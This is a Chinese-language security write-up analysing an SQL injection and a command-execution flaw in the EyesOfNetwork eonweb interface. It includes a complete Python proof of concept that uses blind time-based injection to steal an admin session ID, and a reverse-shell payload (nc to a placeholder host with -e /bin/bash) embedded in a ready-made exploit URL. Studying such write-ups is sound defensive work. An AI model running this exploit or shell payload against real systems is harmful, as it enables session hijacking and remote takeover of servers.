文章目录
0x01 项目介绍
0x02 搭建环境测试
0x03 CVE-2017-100006 漏洞发现
0x04 CVE-2017-6087代码执行漏洞分析
0x05 总结
0x01
项目介绍
EyesofNetwork是一套开源的架构管理系统,CVE-2017-1000060 的SQL注入漏洞和CVE-2017-6087的代码执行漏洞就出现在该系统的web端中。
该项目的地址在
https://github.com/EyesOfNetworkCommunity/eonwehttps://github.com/EyesOfNetworkCommunity/eonweb
0x02
搭建环境测试
安装eyesofNetwork 使用官方提供的bin直接安装或者使用源码进行编译(安装包较大,大概有一个g左右),然后配置apache/nginx到所在的目录(不再赘述),修改其 include/config.php 中的配置,eonweb使用的数据库为mysql,在里面用自己的设置替换掉默认。
如果只希望做代码审计,可以使用下面单独的web包:
git clone https://github.com/EyesOfNetworkCommunity/eonweb
0x03
CVE-2017-100006 漏洞发现
大致的阅读代码,我们发现,这个项目没有使用ORM,而是直接用拼接SQL的方式来进行数据库的查询,这就给SQL注入带来了可能。
我们可以看到,这个项目的代码中,用来进行sql查询的函数是sqlrequest,代码在include/function.php里面
function sqlrequest($database,$sql,$id=false,$prepare=false){
// Get the global value
global $database_host;
global $database_username;
global $database_password;
$connexion = mysqli_connect($database_host, $database_username, $database_password, $database);
if (!$connexion) {
echo "<ul>";
echo "<li class='msg_title'>Alert EyesOfNetwork - Message EON-database connect</li>";
echo "<li class='msg'> Could not connect to database : $database ($database_host)</li>";
echo "</ul>";
exit(1);
}
if ( $database == "eonweb" ) {
// Force UTF-8
mysqli_query($connexion, "SET NAMES 'utf8'");
}
if(is_array($prepare)) {
$stmt = mysqli_prepare($connexion,$sql);
if(isset($prepare[0]) && isset($prepare[1])) {
$ref = new ReflectionClass('mysqli_stmt');
$method = $ref->getMethod("bind_param");
$method->invokeArgs($stmt,$prepare);
}
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
} else {
$result=mysqli_query($connexion, "$sql");
}
if($id==true)
$result=mysqli_insert_id($connexion);
mysqli_close($connexion);
return $result;
}
可以看到,该函数支持传入一个sql语句,同时支持将预查询的绑定的参数列表作为一个数组放在第三个参数上,但是在logout.php中可以看到如下的代码:
if(isset($_COOKIE["session_id"])) {
$sessid=$_COOKIE["session_id"];
sqlrequest($database_eonweb,"DELETE FROM sessions where session_id='$sessid'");
}
这个地方本应该将sessid作为绑定的参数传到第三个参数中,但是开发者缺将其拼接到字符串中作为一个完整的sql语句传入了函数中。而且未对该参数做任何的过滤,意味着我们可以控制了该sql语句后面。
但是遗憾的是这是以个DELETE操作,我们不能直接使用查询爆出信息,只能使用延时注入的方式来进行操作,使用benchmark和sleep函数以及布尔操作来爆破出我们想要的表。
一个PoC:
import time
from requests import *
from requests.packages.urllib3.exceptions import InsecureRequestWarning
packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://192.168.1.161"
print "[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)"
def getTime(page, cookie=""):
start = time.time()
get(url+page, verify=False, cookies=dict(session_id=cookie))
end = time.time()
return round(end - start, 2)
# Getting an initial response time to base our next requests around it
initial_time = getTime("/") - 0.01
getTime("/logout.php", "rioru' OR user_id!=1 -- -")
print "[+] The initial request time on %s is %f, getting the number of entries, it could take a while..." % (url, initial_time)
sleep1_time = getTime("/logout.php", "rioru' OR SLEEP(1)=1337 -- -")
if (sleep1_time - initial_time >= 1):
count = round(sleep1_time)
print "[+] Found %d entries in the [sessions] table, deleting every sessions except one" % count
else:
print "[-] The table [sessions] seems empty"
exit()
for i in range(int(count) - 1):
getTime("/logout.php", "rioru' OR 1=1 LIMIT 1 -- -")
# Get the length
session_length = 0
for i in range(12):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT LENGTH(session_id) FROM DUAL ORDER BY session_id LIMIT 1)="+ str(i+1) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_length = i+1
break
if (session_length == 0):
print "[-] Couldn't find the length of the session_id"
exit()
print "[+] Found an admin session length: %d, getting the session_id" % session_length
# Get the session_id
print "[+] session_id: ",
session_id = ""
for i in range(session_length):
for j in range(10):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN (SUBSTRING((SELECT session_id FROM DUAL ORDER BY session_id LIMIT 1),"+ str(i+1) +",1)="+ str(j) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_id += str(j)
print str(j),
break
print "\n[+] final session_id: [%s]" % session_id
# Get the username
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT user_name FROM users WHERE user_id=1)='admin') THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
print "[+] Username is [admin]"
else:
print "[-] Username is not admin, brute force necessary"
print "[+] End of the PoC use these cookies to authenticate to Eonweb:"
print "session_id: %s;" % session_id
print "user_name: %s;" % "admin"
print "user_id: %d;" % 1
print "user_limitation: %d;" % 0
print "group_id: %d;" % 1
0x04
CVE-2017-6087代码执行漏洞分析
我们知道,代码审计中需要查找代码执行漏洞的时候,我们一般会去搜索可以控制输入的危险函数如:
eval
system
passthru
assert
exec
shell_exec
等等,搜索全文
module/tool_all/tools/interface.php
59:exec("snmpwalk -Oqv -c $snmp_community -v $snmp_version $command $host_name sysUpTime",$result_sysuptime);
60:exec("snmpwalk -Oqv -c $snmp_community -v $snmp_version $command $host_name sysName",$result_sysname);
61:exec("snmpwalk -Oqv -c $snmp_community -v $snmp_version $command $host_name sysLocation",$result_syslocation);
62:exec("snmpwalk -Oqv -c $snmp_community -v $snmp_version $command $host_name snmpOutTraps",$result_snmpouttraps);
....
module/admin_process/index.php
47:// Execute command if Need
53:// EXEC the command
57:exec($cmd_act,$result_cmdact);
65:exec($cmd_status,$result_cmd);
module/monitoring_ged/index.php
35:if(exec($array_serv_system["Ged agent"]["status"])==NULL) {
module/monitoring_ged/ged_functions.php
374:shell_exec($path_ged_bin." ".$ged_command);
421:shell_exec($path_ged_bin." ".$ged_command);
464:shell_exec($path_ged_bin." ".$ged_command);
476:shell_exec($path_ged_bin." ".$ged_command);
我们一共发现了如上几处可能的危险函数,其中
module/tool_all/tools/interface.php这个模块是snmp的管理模块,其中的几处exec函数,它参数中的变量都不是由用户输入确定的。因此,我们并不能通过控制输入的方式来控制这里的参数
其他几处也有着同样的问题,那就是其参数没有来自输入的数据中,我们无法利用。
但是最后一处
module/monitoring_ged/ged_functions.php中
$ged_command = "-update -type $ged_type_nbr ";
foreach ($array_ged_packets as $key => $value) {
if($value["type"] == true){
if($key == "owner"){
$event[$key] = $owner;
}
$ged_command .= "\"".$event[$key]."\" ";
}
}
$ged_command = trim($ged_command, " ");
$ged_command=escapeshellcmd($ged_command);
shell_exec($path_ged_bin." ".$ged_command);
get_command中的一部分可由这段代码所在的函数function ownDisown($selected_events, $queue, $global_action)中的参数select_event控制,我们追踪这个函数的调用栈。
该函数在module/monitoring_ged/ged_actions.php的53行得到了调用:
case 'confirm':
if($global_action == "4"){
acknowledge($selected_events, $queue, $global_action);
} elseif($global_action == "5") {
delete($selected_events, $queue);
} else {
ownDisown($selected_events, $queue, $global_action);
}
break;
在$action为confirm,且$global_action不为4、5时会调用ownDisOwn函数。
注意,在这个文件的前面,有一句extract($_GET);
意味着我们可以控制相当多的变量,只要不在从这一句到执行函数的那一行中间赋值过的变量,全部可以控制其内容。我们直接控制select_event函数,反弹一个shell的payload为:
;nc xxx.xxx.xxx.xxx xxxx -e /bin/bash #
那么我们就可以构造PoC:
(首先服务端监听用于弹shell)
https://eonweb/module/monitoring_ged/ged_actions.php?queue=history&action=confirm&global_action=6&selected_events%5B%5D%3D%3Bnc%20xxx.xxx.xxx.xxx%20xxxx%20-e%20%2Fbin%2Fbash%20%23
就达到了我们getshell的目的。
0x05
总结
可以看到,第一个漏洞的原因是编码者直接使用拼接sql且未做过滤,完全是安全意识不足引起的,作为一个合格的web程序员,应当在可以的任何时候都使用ORM或者Prepared query,如果一定要拼接,则也一定要使用mysql_real_escape_string函数来进行过滤'。
而命令执行漏洞的原因,是未对用户输入做检查,并且使用了极其危险的extract函数。因此在开发的时候,一定要落实“一切用户输入都是 不可信的,一切用户输入都是需要被检查的”这一原则,来防止这些可能出现的安全隐患。
————— End —————
延伸阅读
关于漏洞
滴滴出行相关漏洞请提交至
http://sec.didichuxing.com/